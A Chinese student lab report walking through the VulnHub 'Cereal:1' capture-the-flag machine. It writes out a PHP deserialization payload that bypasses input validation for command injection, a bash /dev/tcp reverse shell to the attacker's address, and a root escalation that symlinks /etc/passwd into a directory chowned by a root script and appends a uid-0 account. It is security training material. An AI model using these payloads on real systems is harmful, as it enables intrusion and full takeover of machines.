【渗透测试】第十周 vulnhub-Cereal:1
网络攻防实战 第十次实验
2022年11月26日
一、实验目的
获取靶机 root 权限和一个 root flag。
我们将使用以下攻击手段:
- 主机发现、端口扫描;
- 隐藏路径爆破;
- 域名绑定 IP;
- 隐藏域名爆破;
- 隐藏文件爆破;
- 解析 PHP 对象序列并进行命令注入;
- 反弹 shell;
- 利用 pspy 工具查看靶机上运行的所有进程;
- 通过链接文件利用靶机漏洞;
- 自定义 root 用户;
二、实验内容
kali: 10.0.2.15
靶机: 10.0.2.17
0x00. 准备工作
获取靶机 IP 并扫描其开放的端口以及个端口上对应的服务:
1
2sudo arp-scan -I eth0 -l
sudo nmap -p- 10.0.2.17发现开启了许多端口,经过对各个端口进行简单尝试之后。考虑从 80 端口寻找突破口。
访问 80 端口发现是一个 Apache 的默认页面,查看源码也并没有直接可利用的信息:
尝试进行隐藏路径爆破:
1
dirsearch -u http://10.0.2.17
访问 http://10.0.2.17/blog,发现了一个没有样式的页面,疑似与某一域名有关:
同时发现该网页是由 WordPress 支持的。
- 技巧:访问网页时出现卡顿,然后看到没有加载样式的网页,可推测是 CSS 加载失败,进而寻找是否需要将某一个域名的 IP 加入 hosts 文件中。
对 /blog 路径进行进一步的路径爆破:
1
dirsearch -u http://10.0.2.17/blog/
发现目录 wp-admin,并且发现该目录被重定向到了我们刚才发现的那个域名。
尝试在 hosts 文件中加入记录
10.0.2.17 cereal.ctf
将该域名与靶机的 IP 地址对应。1
2
3/etc/hosts:
...
10.0.2.17 cereal.ctf重新访问 blog 页面,发现成功加载了样式:
在 80 端口的 web 应用继续进行信息收集,未发现明显的有效信息。
尝试从 4441 端口(同样运行着一个 web 应用)继续寻找突破口:
直接访问发现只有一行文本内容。
0x01. 服务器域名爆破
联想到某些服务器可能会根据 HTTP 请求中 HOST 头的不同,为用户返回不同的页面。尝试使用 gobuster 对靶机 44441 端口进行域名爆破:
1
gobuster vhost -u http://cereal.ctf:44441 --append-domain -w fierce_hostlist.txt
- 字典文件在 kali 上的路径为:/usr/share/amass/wordlists/fierce_hostlist.txt
成功扫描出一个域名:
secure.cereal.ctf
将该域名与靶机 IP 关联并添加记录到 kali 的 host 文件中,浏览器访问
http://secure.cereal.ctf:44441/
:发现当前页面可以对指定的 IP 进行 ping 操作,输入 kali 本机的 IP,查看结果:
发现确实执行了 ping 操作,查看结果发现与系统命令中的 ping 操作返回结果格式相似,推测此处调用了系统指令,尝试进行命令注入。
0x02. 命令注入
尝试直接注入未果,使用 burp suite 拦截当前页面点击 ping 按钮之后的请求:
发现请求体比较可疑。
在 burp suite 中选中请求体中 obj 字段的值,进行解码:
得到了解码结果,猜测是一个经过 php 序列化编码之后的对象数据格式。在请求头中的数据已经进行了序列化,可以推测该编码操作是网页中的脚本代码负责完成的。
查看相关的网页源码:
1
2
3
4
5
6
7
8
9<script>
function submit_form() {
var object = serialize({ipAddress: document.forms["ipform"].ip.value});
object = object.substr(object.indexOf("{"),object.length);
object = "O:8:\"pingTest\":1:" + object;
document.forms["ipform"].obj.value = object;
document.getElementById('ipform').submit();
}
</script>但是由于不知道服务器程序对该对象序列的处理流程,无法判断出直接有效的注入方式。联想到 blog 页面提示“尝试从备份中恢复”,猜测靶机上可能存在服务程序的备份文件,尝试通过隐藏文件爆破进行寻找。
“We are in the process of restoring from our backups”
0x03. 隐藏文件爆破
使用 kali 自带的
DirBuster
工具进行爆破:最终发现路径:
/back_en
继续对 /back_en 下的文件进行爆破,由于是备份文件,猜测文件名后缀为
.bak
:发现备份文件
index.php.bak
。将查找到的备份文件下载到 kali:
1
wget http://secure.cereal.ctf:44441/back_en/index.php.bak
查看内容猜测是 ping 页面的后台程序源码,并找到与 ping 功能相关的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34class pingTest {
public $ipAddress = "127.0.0.1";
public $isValid = False;
public $output = "";
function validate() {
// 如果当前对象中的 isValid 值不为 True
if (!$this->isValid) {
// 进行了某种过滤
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{
// 测试通过才会执行代码
$this->isValid = True;
}
}
$this->ping();
}
public function ping()
{
if ($this->isValid) {
// 指令的执行方式
$this->output = shell_exec("ping -c 3 $this->ipAddress");
}
}
}
if (isset($_POST['obj'])) {
$pingTest = unserialize(urldecode($_POST['obj']));
} else {
$pingTest = new pingTest;
}
$pingTest->validate();通过对上述代码进行简单的分析,我们发现只需要我们上传的序列化对象中的
isValid
值本身为 True,就可以绕过服务端对ipAddress
字段合法性的检测,最终导致靶机执行我们所注入的命令。
0x04. 继续命令注入
简单学习 PHP 对象序列的格式之后,对此前解码获得的对象序列进行分析:
O : 8 : "pingTest" : 1 : {s : 9 : "ipAddress"; s : 9 : "127.0.0.1"; }
- o:object,表示对象类型;
- 8:表示其后的字符串长度为8;
- “pingTest”:表示当前对象为类
pingTest
的一个对象; - 1:表示其后包含1个该对象的属性,花括号中的内容即为对象的属性;
- s:string,表示字符串类型;
- 9:其后的字符串长度;
- “ipAddress”:属性的名称;
- “127.0.0.1”:”ipAddress”属性的值;
参考:PHP序列化和反序列化
可见请求体中发送给服务器的对象仅包含了
ipAddress
这个一个属性,为了绕过服务端的检测,需要添加isValid
属性且将其赋值为 True。构造对象序列如下:O:8:"pingTest":2:{s:9:"ipAddress";s:9:"127.0.0.1";s:7:"isValid";b:1;}
- 加入属性
s:7:"isValid";b:1;
。
其中,分析服务端代码得知,我们可以将需要注入的命令包含在
ipAddress
的值中,最终修改序列如下:O:8:"pingTest":2:{s:9:"ipAddress";s:14:"127.0.0.1 & id";s:7:"isValid";b:1;}
- 加入属性
在 burp suite 中用上述注入序列替换原始的对象序列,编码后发送:
发现除了 ping 的结果,我们还收到了注入命令的执行结果:
尝试使用如下命令获取反弹 shell:
1
bash -i >& /dev/tcp/10.0.2.15/4444 0>&1
构造注入序列:
O:8:"pingTest":2:{s:9:"ipAddress";s:40:"&bash -i >& /dev/tcp/10.0.2.15/4444 0>&1";s:7:"isValid";b:1;}
在 kali 上监听 4444 端口,执行注入命令,成功获取反弹 shell:
0x05. 本地漏洞提权
利用
pspy
工具检测靶机上正在运行的进程:发现存在一个以 root 身份运行某个 shell 脚本的进程。
查看该脚本内容;
1
chown rocky:apache /home/rocky/public_html/*
发现是将
/home/rocky/public_html/*
目录下的所有文件所有者更改为当前用户,猜测若在该目录下创建一个 passwd 文件的链接文件,会导致脚本执行时将 passwd 文件的所有者一并更改为当前用户,从而获取对 passwd 文件的写入权限。使用 ln 命令将 passwd 文件链接到该目录下:
1
ln -s /etc/passwd /home/rocky/public_html/111111
等待片刻后查看 passwd 文件的权限:
1
ls -l /etc/passwd
-rwxrwxr-x. 1 root root 1549 May 29 2021 /etc/passwd
发现文件权限成功被修改。
再次使用 实验八 中自定义 root 用户的方式,插入一条 root 权限的用户记录:
1
echo 'test123:$1$5zwm/pYB$109Okt6Ql.GcBYi/z16xT1:0:0:root:/root:/bin/bash' >> /etc/passwd
切换至该自定义用户,成功提权:
0x06. 最终的信息收集
尝试使用 ssh 以自定义 root 用户身份登入靶机:
1
ssh test123@10.0.2.17
成功登入后查看当前目录下的文件:
查看文件
proof.txt
得到 flag:1aeb5db4e979543cb807cfd90df77763
-
1
2
3
4
5
6
7
8
9
10nc -k -l 139 &
nc -k -l 445 &
nc -k -l 11111 &
nc -k -l 22222 &
nc -k -l 22223 &
nc -k -l 33333 &
nc -k -l 33334 &
nc -k -l 44444 &
nc -k -l 55555 &
nc -k -l 55551发现是一段 shell 脚本,通过 nc 命令监听了很多端口。
推测这就是我们之前 nmap 扫描出来很多端口,但是无法确定其上所运行服务的原因——这些端口仅被监听,实际上并没有运行有效的服务。
五、实验结果
root 权限:
四、总结
- 本次实验靶机开发的端口很多,需要从扫描到的端口中寻找突破口。首先关注提供 web 应用的端口。
- 浏览器访问 80 端口,未发现有效信息,进行路径爆破发现
/blog
路径,访问路径发现一个未加载样式的网页,并获得提示——靶机上存在某个服务端的备份文件。 - 对
/blog
路径进行进一步爆破,发现某些路径被重定向到了某个域名的子路径上,尝试在 kali 的 hosts 文件中将该域名与靶机 IP 绑定。再次访问/blog
路径,发现成功加载了样式。 - 浏览器访问靶机 44441 端口,发现没有有效信息。对该端口进行域名爆破,发现一个隐藏的域名,同样将该域名与靶机 IP 进行绑定。再次访问后,发现当前页面可以对用户输入的 IP 地址进行 ping 操作。联想到命令注入。
- 简单尝试注入后未果,拦截 ping 操作时发往服务器的请求头。发现网页将用户输入的 IP 地址包装成了一个对象,并做了序列化操作。但由于不知道服务端解析对象的方式,故无法直接进行命令注入。
- 联想到 80 端口
/blog
路径下的提示,尝试通过路径、文件爆破寻找靶机上的备份文件。 - 找到备份文件后,下载至 kali 查看,推测是 ping 操作页面服务端的源码。根据该源码中的对象解析方式,构造注入对象的序列,实现合法性绕过以及命令的注入,最终成功获取反弹 shell。
- 使用
pspy
工具查看靶机上运行的进程,找到一个以 root 身份运行的 shell 脚本进程。查看相关脚本,发现该脚本将指定目录下的所有文件的所有者更改为了反弹 shell 中的当前用户。 - 尝试在该目录下建立 passwd 文件的链接,使该脚本更改 passwd 文件的所有者,最终获取对 passwd 文件的写入权限。
- 使用与实验八相同的操作自定义一条 root 用户记录,并插入 passwd 文件。
- 切换至自定义用户,完成提权!
ps:实验报告中只展示了成功的思路,但是在实际的渗透测试中,往往需要我们对多个漏洞点进行尝试,才能找到有效的突破口。